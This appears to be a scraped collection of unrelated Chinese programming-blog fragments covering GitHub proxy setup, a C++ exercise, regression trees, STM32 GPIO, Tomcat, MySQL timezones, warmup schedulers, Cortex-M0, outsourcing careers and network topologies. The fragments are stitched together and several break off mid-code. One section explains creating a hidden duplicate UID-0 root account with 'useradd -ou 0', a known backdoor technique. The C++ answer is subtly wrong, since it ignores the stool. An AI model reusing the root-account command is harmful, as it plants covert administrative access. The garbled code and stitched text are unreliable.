GitHub加速器插件 浏览器安装插件 地址1: https://chrome.google.com/webstore/detail/github%E5%8A%A0%E9%80%9F/ffjjnphohkfckeplcjflmgneebafggej/related
地址1可直接点击“添加到Chrome”,我此处已经添加,所以显示“从Chrome删除”。
地址2: https://chrome.zzzmh.cn/info/ffjjnphohkfckeplcjflmgneebafggej
地址二点击“推荐下载”后得到的是一个zip包,解析zip,将里面的.crx文件拖动到浏览器扩展程序页面。具体参考:https://chrome.zzzmh.cn/help/setup
此处我已安装,所以已经显示该插件。
配置加速器 插件安装完成后,浏览器会自动弹出配置页面。如果没有自动弹出,点击插件详情,点击扩展程序选项。
加速列表配置参考插件官网:https://github.com/fhefh2015/Fast-GitHub/issues/44
但是,插件官网是在GitHub上,我们正要解决的就是GitHub访问问题,所以,我直接给出目前官网上给出的插件配置。
加速列表:
https://gh.api.99988866.xyz https://gh.con.sh https://gh.ddlc.top https://gh2.yanqishui.work https://ghdl.feizhuqwq.cf https://ghproxy.com https://ghps.cc https://git.xfj0.cn https://github.91chi.fun https://proxy.zyun.vip 加速列表填写后,点击保存插件配置即可重新访问GitHub。插件第一次代理GitHub地址比较缓慢,稍作等待。
Exploring Spring Boot Testing 2 - TDD
【题目描述】
陶陶家的院子里有一棵苹果树,每到秋天树上就会结出10个苹果。
苹果成熟的时候,陶陶就会跑去摘苹果。陶陶有个30厘米高的板凳,
当她不能直接用手摘到苹果的时候,就会踩到板凳上再试试。
现在已知10个苹果到地面的高度,以及陶陶把手伸直的时候能够达到的最大高度,
请帮陶陶算一下她能够摘到的苹果的数目。假设她碰到苹果,苹果就会掉下来。
包括两行数据。
第一行包含10个100到200之间(包括100和200)的整数(以厘米为单位)
分别表示10个苹果到地面的高度,两个相邻的整数之间用一个空格隔开。
第二行只包括一个100到120之间(包含100和120)的整数(以厘米为单位),
表示陶陶把手伸直的时候能够达到的最大高度。
【输出】
包括一行,这一行只包含一个整数,表示陶陶能够摘到的苹果的数目。
【输入样例】
100 200 150 140 129 134 167 198 200 111
110
【输出样例】
5
#include<iostream> #include<iomanip> using namespace std; int main(){ int n; int count=0; int m; int a[101]; cout<<"请输入树上苹果的个数:"<<endl; cin>>n; cout<<"请输入"<<n<<"个100~120之间的数字:"<<endl; for(int i=0;i<n;i++){ cin>>a[i]; } cout<<"请输入陶陶够到的最大高度:"<<endl; cin>>m; for(int i=0;i<n;i++){ if(a[i]<=m&&a[i]>=100) count++; } cout<<count<<endl; return 0; } 测试结果如上图:
一、回归决策树的介绍 1.什么是回归决策树 回归决策树(Regression Decision Tree)是一种决策树算法,用于解决回归问题。与传统的分类决策树不同,回归决策树的目标是预测连续数值型的输出,而不是离散的类别标签。
2.原理概述 数据集准备:
首先,需要准备训练数据集,包括输入特征和对应的输出值。每个样本都有一组特征值和一个连续数值型的输出。
特征选择:
选择最佳的特征来划分数据集。常用的划分准则包括平方误差(Mean Squared Error, MSE)和平均绝对误差(Mean Absolute Error, MAE)等。目标是选择划分后的子集使得预测值与实际值之间的误差最小化。
构建决策树:
通过递归地选择最佳的特征和划分点,不断地划分数据集,直到满足终止条件。终止条件可以是达到最大深度、节点中的样本数量达到阈值等。
叶节点的预测值:
当停止划分时,每个叶节点上都有一个预测值,表示在该区域中的样本的输出值的预测。可以选择样本在该区域中的平均值作为叶节点的预测值。
预测:
使用构建好的回归决策树来进行预测。给定一个新的输入特征向量,通过沿着树的路径进行判断,最终到达叶节点并得到预测值。
3.回归决策树的优缺点: 优点:
回归决策树具有可解释性强、能够处理非线性关系和高维数据等优点。
缺点:
它也容易过拟合,对噪声和异常值敏感。
优化方法:
可以使用剪枝技术、集成方法(如随机森林)等来改进回归决策树的性能。
二、回归决策树与分类决策树的区别 回归决策树和分类决策树是两种不同的决策树算法,它们在目标变量类型、划分准则和输出值处理等方面存在一些区别。
目标变量类型: 回归决策树:回归决策树用于解决回归问题,其中目标变量是连续数值型的。它预测的是输入特征对应的数值输出。分类决策树:分类决策树用于解决分类问题,其中目标变量是离散的类别标签。它预测的是输入特征对应的类别。 划分准则: 回归决策树:回归决策树在划分过程中使用回归相关的准则,如平方误差(Mean Squared Error, MSE)或平均绝对误差(Mean Absolute Error, MAE),以最小化预测值与实际值之间的误差。分类决策树:分类决策树在划分过程中使用分类相关的准则,如基尼指数(Gini index)或信息增益(Information Gain),以最大化类别的纯度或最小化不确定性。 输出值处理: 回归决策树:回归决策树在每个叶节点上有一个预测值,表示该区域中样本的输出预测。可以选择样本在该区域中的平均值作为叶节点的预测值。分类决策树:分类决策树在每个叶节点上有一个主要的类别标签,表示该区域中样本的预测类别。可以选择区域中出现最频繁的类别作为叶节点的预测类别。 需要根据具体的问题和目标变量类型选择适合的决策树算法。如果目标变量是连续的数值型,可以使用回归决策树;如果目标变量是离散的类别标签,可以使用分类决策树。
三、回归决策树与线性回归的区别 回归决策树和线性回归是两种不同的回归方法,它们在建模方式、拟合能力和解释性等方面存在一些区别。
建模方式: 回归决策树:回归决策树使用树结构来建立输入特征与输出之间的映射关系。它通过递归地选择最佳的特征和划分点来划分数据集,每个叶节点上都有一个预测值表示该区域中样本的输出预测。线性回归:线性回归是一种基于线性模型的回归方法。它假设输出与输入之间存在线性关系,通过拟合最佳的线性函数来进行预测。 拟合能力: 回归决策树:回归决策树可以适应非线性的关系,能够处理复杂的数据分布和非线性特征交互。它可以根据数据的分布自动选择不同的划分特征和划分点,具有一定的拟合灵活性。线性回归:线性回归适用于线性关系的建模,它通过拟合一个线性函数来进行预测。当数据存在复杂的非线性关系时,线性回归的拟合能力相对较弱。 解释性: 回归决策树:回归决策树具有很好的解释性,可以直观地表示特征的重要性和决策过程。它可以生成一棵可解释的树结构,帮助理解数据的特征重要性和特征之间的关系。线性回归:线性回归的解释性相对较强,可以通过系数来解释各个特征对输出的贡献程度。系数的正负表示特征的影响方向,绝对值大小表示影响的程度。 需要根据具体的问题和数据特点选择适合的回归方法。回归决策树适用于非线性问题、特征交互复杂的情况,而线性回归适用于线性关系较为明显的问题。
Exploring Spring Boot Testing
Unit Test using JunitSpringBoot Mocks with MockitoSpringBoot Testing Spring MVC Web AppSpringBoot Testing Spring REST APIs Exploring Spring Boot Testing 1:Unit Test using Junit Unit Testing vs Integration TestingWhat is Unit Testing?Benifit of Unit TestingUnit Testing FrameworksWhat is Integration Testing? JunitHow to write Unit Testing?(Demo)Junit Lifecycle MethodsJunit Custom Display NamesJunit AssertionsOrdering Junit Tests Code Coverage and Test ReportCode Coverage and Test Report with IntelliJCode Coverage and Test Report with Maven Conditional TestAnnotations: @Disabled, @EnabledOnOsAnnotations: @EnabledOnJre,@EnabledForJreRangeAnnotations: @EnabledIfSystemProperty, @EnabledIfEnvironmentVariable Unit Testing vs Integration Testing What is Unit Testing?
目录
输入功能
浮空输入:通俗讲就是让管脚什么都不接,悬空着。
上拉输入
下拉输入
模拟输入
输出功能
开漏输出
推挽输出
相关寄存器
GPIOx_MODER 端口模式寄存器
GPIOx_OTYPER 端口输出类型寄存器
GPIOx_ OSPEEDR 端口输出速度寄存器
GPIOx_PUPDR 上拉/下拉寄存器
GPIOx_IDR 端口输入数据寄存器
GPIOx_ODR 端口输出数据寄存器
GPIOx_BSRR 置位 / 复位寄存器
输出试验:点亮一盏灯
》1.查看自己想要点亮的灯编号
编辑
》2.对比电路原理图
》3.编程实现
结果:
输入功能 浮空输入:通俗讲就是让管脚什么都不接,悬空着。 此时VDD和VSS所在路径的两个开关同时断开。因为没有上拉和下拉,所以当IO口没有接输入的时候,此时的电平状态会是一个不确定的值,完全由外部输入决定。(一般实际运用时,引脚不建议悬空,易受干扰。 )
优势:这一种输入模式的电平会完全取决于外部电路而与内部电路无关
缺点:在没有外部电路接入的时候,IO脚浮空会使得电平不确定
应用:该模式是STM32复位之后的默认模式,一般用作对开关按键的读取或用于标准的通讯协议,比如IIC、USART的等
上拉输入 IO端口 - 上拉电阻 - 施密特触发器 - 输入数据寄存器 - 读
输入的电平不会因上下浮动而导致输入信号不稳定,当外部没有信号输入时,上拉电阻会将输入信号钳在高电平,此时引脚始终读到高电平信号。
下拉输入 IO端口 - 下拉电阻 - 施密特触发器 - 输入数据寄存器 - 读
输入的电平不会因上下浮动而导致输入信号不稳定,当外部没有信号输入时,下拉电阻会将输入信号钳在低电平,此时引脚始终读到低电平信号。
模拟输入 未经任何处理的信号
信号进入后不经过上拉电阻或者下拉电阻,关闭施密特触发器,经由另一线路把电压信号传送到片上外设模块。 所以可以理解为模拟输入的信号是未经处理的信号,是原汁原味的信号。
应用:当 GPIO 引脚用于 ADC 采集电压的输入通道时,则需要选择“模拟输入”功能,因为经过施密特触发器后信号只有 0、1 两种状态,所以 ADC 外设要采集到原始的模拟信号,信号源输入必须在施密特触发器之前。
一、JavaWeb
1.基本概念 1.1前言 web开发:
web,网页的意思,www.baidu.com静态web html,css提供给所有人看的数据始终不会发生改变 动态web 提供给所有人看的数据始终发生变化,每个人在不同的时间,不同的地点看到的信息是不同的eg.淘宝,京东,几乎是所有网站技术栈: Servlet、JSP、ASP、PHP 在java中,动态web资源开发的技术统称为JavaWeb
1.2 web应用程序 web应用程序:可以提供浏览器访问的程序;
a.html,b.html…多个web资源,这些web资源可以被外界访问,对外界提供服务能访问到的任何一个页面或者资源,都存在于这个世界上得某一个角落的计算机上URL这个统一的web资源会被放在同一个文件夹下,web应用程序->Tomcat:服务器一个web程序由多个部分组成(静态web,动态web) html、cssjsp、servletjava程序jar包配置文件(Properties) web应用程序编写完毕后,若想提供给外界访问,需要一个服务器来统一管理
1.3静态web .html,.htm,这些都是网页的后缀,如果服务器上一直存在这些东西,我们就可以直接进行读取 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R5MbJ4d6-1685109872839)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20230406171530307.png)]
静态web的缺点: 页面无法动态更新,所有用户看到的都是同一个界面 轮播图,点击特效:伪动态JavaScriptVBSScript 他无法和数据库进行交互(数据无法持久化,用户无法交互) 1.4动态web 页面会动态展示,“web页面的展示效果因人而异”
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tgVvWRDJ-1685109872839)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20230406171849908.png)]
缺点:
假如服务器的动态web资源出现了错误,我们需要重新编写我我们的后台程序,重新发布 停机维护 优点:
页面可以动态更新,所有用户看到的都是不同界面他可以数据库进行交互 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-m06zGrP0-1685109872840)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20230406172130319.png)]
2.web服务器 2.1技术讲解 ASP:
微软:国内最早流行的在HTML中嵌入了VB的脚本。ASP+COM在ASP开发中,基本一个页面都有几千行的业务代码,页面及其混乱 PHP:
PHP开发速度很快,功能很强大,跨平台,代码很简单无法承载大访问量的情况(局限性) JSP/Servlet:
sun公司主推的B/S架构基于Java语言可以承载三高问题带来的影响 2.2web服务器 服务器是一种被动的操作,用来处理用户的一些请求和给用户一些响应信息;
IIS:微软的
Tomcat:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WoI5QEVO-1685109872840)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20230406173456533.png)]
Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为比较流行的Web 应用服务器。
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,它是最佳选择。
Tomcat 实际上运行JSP 页面和Servlet,Tomcat最新版本为10.0.23。
未来期望:…工作3-5年之后,可以尝试手写Tomcat服务器;
下载Tomcat:
安装or解压了解配置文件及目录结构作用 3.Tomcat 3.1安装Tomcat: 官网下载压缩包: [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QGpH1RAf-1685109872841)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20230406174058473.
这两个命令用于创建具有 root 权限的用户,并为该用户设置密码。
sudo useradd -ou 0 -g 0 -M -s /bin/bash caonima:
sudo:以管理员权限执行命令。useradd:用于创建新用户的命令。-ou 0:将新用户的用户 ID(UID)设置为 0,即 root 用户的标识符。-g 0:将新用户的组 ID(GID)设置为 0,即 root 用户组的标识符。-M:防止为新用户创建主目录。-s /bin/bash:指定新用户的默认 shell 为 Bash。caonima:指定新用户的用户名。上述命令将创建一个名为 "caonima" 的用户,并将其设置为具有 root 权限。
sudo passwd caonima:
sudo:以管理员权限执行命令。passwd:用于设置用户密码的命令。caonima:指定要设置密码的用户名。该命令将提示您输入新用户 "caonima" 的密码,并要求您确认密码。这样,用户 "caonima" 将具有您为其设置的密码,并且可以使用该密码进行登录。
请注意,在执行这些命令时,确保您具有足够的权限来创建用户和设置密码。此外,为了系统的安全性,请确保为用户设置强密码,并仅在必要时授予用户 root 权限。
sudo useradd -ou 0 -g 0 -M -s /bin/bash caonima sudo passwd caonima 在大多数 Linux 系统中,要创建一个具有 root 权限的用户,您需要以 root 用户身份执行以下步骤:
以 root 身份登录或使用具有管理员权限的用户登录。
打开终端或命令提示符。
运行以下命令以创建新用户:
sudo useradd -ou 0 -g 0 caonima 上述命令中的 -ou 0 -g 0 参数将用户的用户 ID(UID)和组 ID(GID)都设置为 0,这是 root 用户的标识符。这样做会将新用户分配到 root 用户组,并赋予其 root 权限。
目录
设置mysql的时区的方法(提供三种选择)
1、直接在advanced上配置serverTimezone属性值(单次连接有效)
2、进入MySQL客户端修改time_zone
3、直接修改MySQL的my.ini配置文件设置time-zone
使用Database
1、查看当前数据源下的所有数据库信息,选择需要在schemas中展示的数据库
2、查看数据库下的所有表信息
3、双击表名查看表数据
4、打开控制台
5、在控制台中输入sql语句执行
6、设置事务自动提交和隔离级别
7、查看当前控制台的sql语句执行记录
一、打开IDEA中的数据库
在IDEA中建立数据库连接,首先我们需要找到IDEA中的数据库,有以下两种方法可以找到:
1、在编辑窗口的右边有个Database按钮,点击。
2、如果没有,请点击上方的View(视图)-Tool Windows(工具窗口)-Database。
二、新建数据库连接
选择需要建立连接的数据源,如MySQL
三、配置数据源信息
Host:数据源(如MySQL)的IP地址Port: 数据源(如MySQL)的端口号,MySQL默认为3306User: 数据库连接用户名Password: 数据库连接密码Database: 数据库名称 配置完数据源信息后点击Test Connection,测试连接是否正常
出现错误则测试连接失败
Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezone' property manually.
该错误就是需要我们设置serverTimezone(服务器时区)
这时我们需要设置mysql的时区
四、设置mysql的时区的方法(提供三种选择) 1、直接在advanced上配置serverTimezone属性值(单次连接有效) serverTimezone=Asia/Shanghai
2、进入MySQL客户端修改time_zone 亲测重启电脑后失效,不推荐,不过也可以了解一下
2.1、进入命令行窗口(Win + R)
2.2、连接数据库 mysql -hlocalhost -uroot -p--->回车
2.3、输入密码--->回车
进入mysql客户端
2.4、输入show variables like'%time_zone'; (注意不要漏掉后面的分号)--->回车
显示 SYSTEM 就是没有设置时区,现在我们来设置时区。
2.5、输入set global time_zone = '+8:00';( 注意不要漏掉后面的分号)--->回车
warmup 深度学习中的“warmup”是指在模型训练的初始阶段,逐渐增加学习率的过程。它的作用主要有以下几个方面:
加速模型收敛:在训练开始时,学习率通常设置得较小,这样可以保证模型在初始阶段不会过度拟合,同时也减少了训练过程中的震荡。但是,如果学习率过低,模型训练的速度会较慢。通过warmup,可以在训练开始时逐渐增加学习率,加速模型的收敛过程。
提高模型的泛化能力:研究表明,在训练的早期阶段,模型更容易被错误的样本所干扰。通过warmup,可以逐渐增加学习率,让模型更加关注当前的样本,减少对过去样本的依赖,从而提高模型的泛化能力。
避免过拟合:在训练模型时,学习率过高可能会导致模型过拟合。通过warmup,可以在训练开始时逐渐增加学习率,让模型更加平滑地学习数据,减少过拟合的风险。
总之,warmup是一种有效的训练策略,可以加快模型收敛速度,提高泛化能力,避免过拟合的风险。
余弦退火学习策略和warmup代码实现 以下是实现余弦退火学习策略和warmup的示例代码:
import math import torch from torch.optim.lr_scheduler import LambdaLR class CosineAnnealingWarmUpRestarts(LambdaLR): def __init__(self, optimizer, T_0, T_mult=1, eta_max=0.1, T_warmup=0, last_epoch=-1): self.T_0 = T_0 self.T_mult = T_mult self.eta_max = eta_max self.T_warmup = T_warmup self.cycle_count = 0 self.cycle_iterations = 0 self.total_iterations = 0 super().__init__(optimizer, self.lr_lambda, last_epoch) def get_lr(self,): return [group['lr'] for group in self.optimizer.param_groups] def lr_lambda(self, step): if self.total_iterations == 0 or step == 0: return 1.
目录
Cortex-M 系列产品线
Cortex-M0结构框图
Cortex-M0特性
Cortex-M0工作模式
Cortex-M0工作状态
Cortex-M0的寄存器
Cortex-M0的中断和异常
Cortex-M0的指令集
Cortex-M 系列产品线 Cortex-M系列是由ARM(Advanced RISC Machines)开发的一系列32位微控制器(MCU)内核。以下是Cortex-M系列的一些常见产品线:
Cortex-M0: 这是Cortex-M系列中的最基础、最低功耗的处理器内核。它适用于对成本和功耗要求极高的应用,如传感器、嵌入式控制器等。Cortex-M0+: Cortex-M0+是对Cortex-M0内核的改进版本,提供了更高的性能和更低的功耗。它特别适用于资源受限的应用,如物联网设备、传感器节点等。Cortex-M1: Cortex-M1是ARM的较早的FPGA(现场可编程门阵列)友好型内核,主要用于在FPGA上实现可编程逻辑控制器。Cortex-M3: Cortex-M3是一款功能更强大的处理器内核,具有更高的性能和更多的外设接口。它适用于需要较高计算能力和实时控制的应用,如工业自动化、汽车电子等。Cortex-M4: Cortex-M4在Cortex-M3的基础上增加了数字信号处理(DSP)扩展指令集和浮点单元(FPU),使其更适合于音频处理、图像处理和其他需要高性能数字信号处理的应用。Cortex-M7: Cortex-M7是Cortex-M系列中最强大的内核,具有更高的时钟频率和更高的性能。它适用于要求实时性和高计算能力的应用,如无人机、工业控制等。Cortex-M23: Cortex-M23是ARM推出的针对物联网设备和安全性设计的内核。它具有较低的功耗、较小的面积和较高的安全性,适用于需要高度安全性和低功耗的应用,如智能门锁、传感器网络等。Cortex-M33: Cortex-M33是在Cortex-M23的基础上增加了一些额外功能的内核,如TrustZone技术和数字信号处理(DSP)扩展指令集。它适用于对安全性要求更高的应用,如智能卡、安全传输设备等。 这些是Cortex-M系列的一些常见产品线,每个产品线都具有不同的特性和适用范围,可以根据具体应用的需求选择适合的处理器内核。
Cortex-M0结构框图 Cortex-M0 微处理器主要包括处理器内核、嵌套向量中断控制器(NVIC)、调试子系统、内部总线系统构成。
处理器内核嵌套向量中断控制器(NVIC) NVIC的主要功能是接收和分发中断信号,并确定哪个中断具有优先级,并在适当的时候触发相应的中断服务程序(Interrupt Service Routine,ISR)。当多个中断同时发生时,NVIC通过优先级来确定哪个中断应该被处理。较高优先级的中断将立即中断正在执行的任务,而较低优先级的中断将等待。NVIC支持嵌套中断,这意味着当一个中断正在处理时,如果更高优先级的中断发生,处理器可以立即切换到更高优先级的中断服务程序,而不会中断正在执行的较低优先级的中断服务程序。一旦较高优先级的中断完成处理,处理器将返回到先前的中断服务程序继续执行。调试子系统 调试子系统通常包含以下功能和工具: 调试器(Debugger):提供了一个交互式的开发环境,允许开发人员逐步执行程序、观察变量和数据、设置断点(Breakpoint)以及跟踪代码的执行流程。调试器能够帮助开发人员找到代码中的错误和问题,并对程序行为进行分析和调试。分析工具(Analyzer):用于分析系统的行为和性能。这些工具可以帮助开发人员对系统进行性能优化、内存泄漏检测、代码覆盖率分析等。分析工具能够提供详细的报告和统计数据,帮助开发人员深入了解系统的性能和效率。追踪器(Tracer):用于跟踪程序的执行过程和数据流动。追踪器可以记录程序执行的路径、函数调用关系、变量的取值等信息,以帮助开发人员理解程序的执行流程和数据交互,从而更容易地发现和解决问题。监视器(Monitor):用于监测系统的状态和行为。它可以提供关于系统性能、资源利用情况、内存使用情况等方面的信息。监视器可以帮助开发人员了解系统的运行状况,识别性能瓶颈和资源消耗问题。内部总线系统 嵌入式系统的内部总线系统是指用于在嵌入式设备内部连接各个组件和子系统的通信架构。内部总线系统允许不同的硬件模块相互通信和交换数据,以实现设备的功能。内部总线系统通常由一组电子线路和协议组成,用于传输数据、控制信号和时序信息。这些线路和协议定义了数据传输的规则和格式,以确保各个组件之间的正确通信。内部总线系统在嵌入式系统中扮演着关键的角色,它能够连接处理器、内存、输入/输出接口、传感器、执行器和其他外设等各种硬件模块。通过内部总线系统,这些模块可以相互协作,共享数据和资源,并实现系统的功能。常见的嵌入式内部总线系统包括I2C(Inter-Integrated Circuit)、SPI(Serial Peripheral Interface)、CAN(Controller Area Network)、USB(Universal Serial Bus)等。这些总线系统在不同的嵌入式系统中具有不同的应用和特点,可以根据具体的需求选择适合的总线系统来设计和实现嵌入式设备。 Cortex-M0 微处理器通过精简的高性能总线(AHB-LITE)与外部进行通信。
Cortex-M0特性 采用Thumb指令集 (ARM指令是32位的,而Thumb指令时16位的,如果存储空间中可以放32条ARM指令,就可以放64条Thumb指令,因此在存放Thunb指令时,代码密度高)高性能,使用ARMv6-M的体系架构;中断数量可配置1-32个,4级中断优先级。门电路少,低功耗。中断唤醒控制器(WIC),支持极低功耗休眠模式。兼容性好。与Cortex-M1 处理器兼容,向上兼容 Cortex-M3 和 Cortex-M4 处理器 ,可以很容易地升级、移植。支持多种嵌入式操作系统,也被多种开发组件支持。 Cortex-M0工作模式 线程模式(Thread Mode):芯片复位后,执行用户程序
处理模式(Handler Mode):当处理器发生了异常或者中断,处理完成后返回线程模式
Cortex-M0工作状态 Thumb状态:正常运行时处理器的状态
调试状态:调试程序时处理器的状态
Cortex-M0的寄存器 R0-R12:13个通用寄存器 其中 R0-R7为低端寄存器,可作为16位或32 位指令操作数,R8-R12为高端寄存器,只能用作32位操作数R13:栈指针寄存器 SP(the stark pointer) Cortex-M0 在不同物理位置上存在两个栈指针,主栈指针 MSP,进程栈指针 PSP。在处理模式下,只能使用主堆栈,在线程模式下,可以使用主堆栈也可以使用进程堆栈。 系统上电的默认栈指针是MSP。这样设计的目的是为了在进行模式转换的时候,减少堆栈的保存工作。同时也可以为不同权限的工作模式设置不同的堆栈。R14:链接寄存器LR(the link register) 用于存储子程序或者函数调用的返回地址R15:程序计数器PC(the program counter register) 存储下一条将要执行的指令的地址。特殊寄存器:组合程序状态寄存器xPSR,该寄存器由三个程序状态寄存器组成 应用PSR(APSR):保存程序计算结果的状态标志 N负数标志V溢出标志C进位借位标志Z零标志中断PSR(IPSR):包含当前ISR的异常编号执行PSR(EPSR):包含Thumb状态位控制寄存器:CONTROL 控制处理器处于线程模式时,使用哪个堆栈=0,使用MSP 处理器模式时,固定使用MSP=1,使用PSP Cortex-M0的中断和异常 中断(Interrupts): 中断是由外部事件引起的,它们可以是来自外设的信号,例如定时器到期、串口接收到数据等。
最近身边很多人进了外包或者被问到进到外包公司怎么样,感觉大家对外包公司不是很了解,也有一些误解,我们看看过来人怎么说。
5年外包时光 我曾是华为外包软件测试员工,就职于东莞松山湖,2017年9月12号入职,已经于2022年12月31号离职,因为不可抗力的影响而导致不得不进行裁员,而外包软件测试员工是没有任何补偿的!要问外包软件测试员工想不想转正?答案是肯定的。首先,华为的正式软件测试员工和外包软件测试员工是同薪同酬的,为这个政策点赞。正式软件测试员工拥有的福利待遇外包软件测试员工几乎都有,像晚上加班有宵夜领取等等,唯一的区别就是正式软件测试员工年底年终奖是一个月的平均工资,而外包软件测试员工的年终奖是一个月底薪。最后一点,最直观的区分正式软件测试员工和外包软件测试工就是看脖子上的厂牌了,正式工是红色挂带加磁卡厂牌,外包工是黄色挂带加纸质贴照片厂牌!
如果你不想再体验一次学习进阶时找不到资料,没人解答问题,坚持几天便放弃的感受的话,可以加我们一起讨论,里面有各种软件测试资料和技术交流。
在华为做外包员工的一些弊端 去华为做外包软件测试员工,并不是正式软件测试员工,随时有可能会离开,缺乏安全感,而且工作的部门也不会花心思来培养,有一种寄人篱下的感觉。大多数外包公司缺乏成熟的管理,即使是去华为这样的企业,员工的流动性还是很高,企业出于成本的考量,也不会注重外包员工的发展,晋升的机会很小。华为外包的员工,表面看上去工资还可以,但是有一部分被外包公司抽走,因为主要就是靠人头费来获利,工资也由外包公司来发。为了保证利润,他们会将工资抽一部分,待遇也就要比正式员工差一些。华为外包员工想要转成正式员工,有很大的难度。首先学历就是一个门槛,要么你是985或211院校毕业才有机会。之后还要有一定的人际关系,比如认识华为的管理层,最后还要看自己的实力和运气,有一些岗位即使有空缺竞争也很激烈。
想破局,只能放下身段,老老实实积攒软件测试经验值,但这对于本身就比较浮躁,又体会过高福利待遇的年轻人来说,真的很难。所以无论是应届生,还是普通求职者,不想被套路,那就开始踏踏实实培养自己的工作能力,定期衡量自己到底值多少薪水。别轻易被大厂光环迷了眼,对自己有清晰的认知,才是最好的破局方式。
我这里有一套2023年最全的软件测试工程师发展进阶方向知识架构体系图,分享给你!
1、自动化测试必会Python编程技术
2、Web自动化测试技术内容
3、APP自动化测试技术内容
4、Postman测试工具专题
5、接口自动化测试技术内容
6、自动化测试框架搭建能力
7、持续集成
8、Jmeter 性能测试
9、APP性能测试
10、Fiddler 抓包工具的使用
11、TCP/IP协议
12、Linux 系统操作
13、MySQL 数据库
14、RobotFramework 自动化测试框架
15、跨平台的自动化测试框架Airtest
上面就是我整理出来的一份全栈测试工程师技术进阶路径图。完成这样一个技术栈的构建。可以说,这个过程会让你痛不欲生,但只要你熬过去了。以后的职业生涯就轻松很多。正所谓万事开头难,只要迈出了第一步,你就已经成功了一半,古人说的好“不积跬步,无以至千里。”等到完成之后再回顾这一段路程的时候,你肯定会感慨良多。
最后感谢每一个认真阅读我文章的人,礼尚往来总是要有的,虽然不是什么很值钱的东西,如果你用得到的话可以直接拿走:
这些资料,对于【软件测试】的朋友来说应该是最全面最完整的备战仓库,这个仓库也陪伴上万个测试工程师们走过最艰难的路程,希望也能帮助到你!有需要的小伙伴可以点击下方小卡片领取
js hint.js
// 创建div const div = document.createElement('div') // 给div添加内容 div.innerText = text // 添加样式 const divStyle = ` width:380px; height:50px; line-height:50px; text-align: center; border-radius:4px; position: absolute; top: 25px; left: 50%; transform: translateX(-50%); opacity: 1; transition: opacity .5s; ` div.setAttribute('style', divStyle); if (color == 'success') { div.style.color = '#67C23A' div.style.background = "#F0F9EB" } else if (color == 'warning') { div.style.color = '#E6A23C' div.style.background = "#FDF6EC" } else if (color == 'error') { div.
目录
1、总线型网络拓扑结构
2、星型网络拓扑结构
3、环形网络拓扑结构
4、树型网络拓扑结构
5、网状网络拓扑结构
6、混合网络型拓扑结构
常见的网络拓扑结构有以下6种:1.总线型网络拓扑结构;2.星型网络拓扑结构;3.环形网络拓扑结构;4.树型网络拓扑结构;5.网状网络拓扑结构;6.混合网络型拓扑结构。
1、总线型网络拓扑结构 总线型网络拓扑结构是指所有设备连接到一条连接介质上。由一条高速公用总线连接若干个节点所形成的网络即为总线形网络。总线型结构是将网络中的所有设备通过相应的硬件接口直接连接到公共总线上,结点之间按广播方式通信,一个结点发出的信息,总线上的其它结点均可“收听”到。 总线型结构就像一张树叶,有一条主干线,主干线上面由很多分支。总线型拓扑结构图如下:
(1)总线型拓扑结构的网络特点:// 简单,排除故障难
结构简单,可扩充性好;当需要增加节点时,只需要在总线上增加一个分支接口便可与分支节点相连,当总线负载不允许时还可以扩充总线;使用的电缆少,且安装容易;使用的设备相对简单,可靠性高;维护难,分支节点故障查找难。 (2)总线型拓扑结构的结构特点:
组网费用低:从示意图可以这样的结构根本不需要另外的互联设备,是直接通过一条总线进行连接,所以组网费用较低;这种网络因为各节点是共用总线带宽的,所以在传输速度上会随着接入网络的用户的增多而下降;网络用户扩展较灵活:需要扩展用户时只需要添加一个接线器即可,但所能连接的用户数量有限;维护较容易:单个节点失效不影响整个网络的正常通信。但是如果总线一断,则整个网络或者相应主干网段就断了。这种网络拓扑结构的缺点是一次仅能一个端用户发送数据,其它端用户必须等待到获得发送权。 2、星型网络拓扑结构 星型结构是一种以中央节点为中心,把若干外围节点连接起来的辐射式互联结构。这种结构适用于局域网,特别是近年来连接的局域网大都采用这种连接方式。这种连接方式以双绞线或同轴电缆作连接线路。星型拓扑结构图如下://适用于局域网
星型拓扑结构的结构特点:
控制简单。任何一站点只和中央节点相连接,因而介质访问控制方法简单,致使访问协议也十分简单。易于网络监控和管理。故障诊断和隔离容易。中央节点对连接线路可以逐一隔离进行故障检测和定位,单个连接点的故障只影响一个设备,不会影响全网。方便服务。中央节点可以方便地对各个站点提供服务和网络重新配置。 总的来说星型拓扑结构相对简单,便于管理,建网容易,是目前局域网普采用的一种拓扑结构。采用星型拓扑结构的局域网,一般使用双绞线或光纤作为传输介质,符合综合布线标准,能够满足多种宽带需求。
尽管物理星型拓扑的实施费用高于物理总线拓扑,然而星型拓扑的优势却使其物超所值。每台设备通过各自的线缆连接到中心设备,因此某根电缆出现问题时只会影响到那一台设备,而网络的其他组件依然可正常运行。这个优点极其重要,这也正是所有新设计的以太网都采用的物理星型拓扑的原因所在。
3、环形网络拓扑结构 环形结构各结点通过通信线路组成闭合回路,环中数据只能单向传输,信息在每台设备上的延时时间是固定的,特别适合实时控制的局域网系统。环形结构就如一串珍珠项链,环形结构上的每台计算机就是项链上的一个个珠子。环形拓扑结构图如下:
实际上,大多数情况下这种拓扑结构的网络不会是所有计算机真的要连接成物理上的环型,一般情况下,环的两端是通过一个阻抗匹配器来实现环的封闭的,因为在实际组网过程中因地理位置的限制不方便真的做到环的两端物理连接。
(1)环型拓扑结构的网络特点:
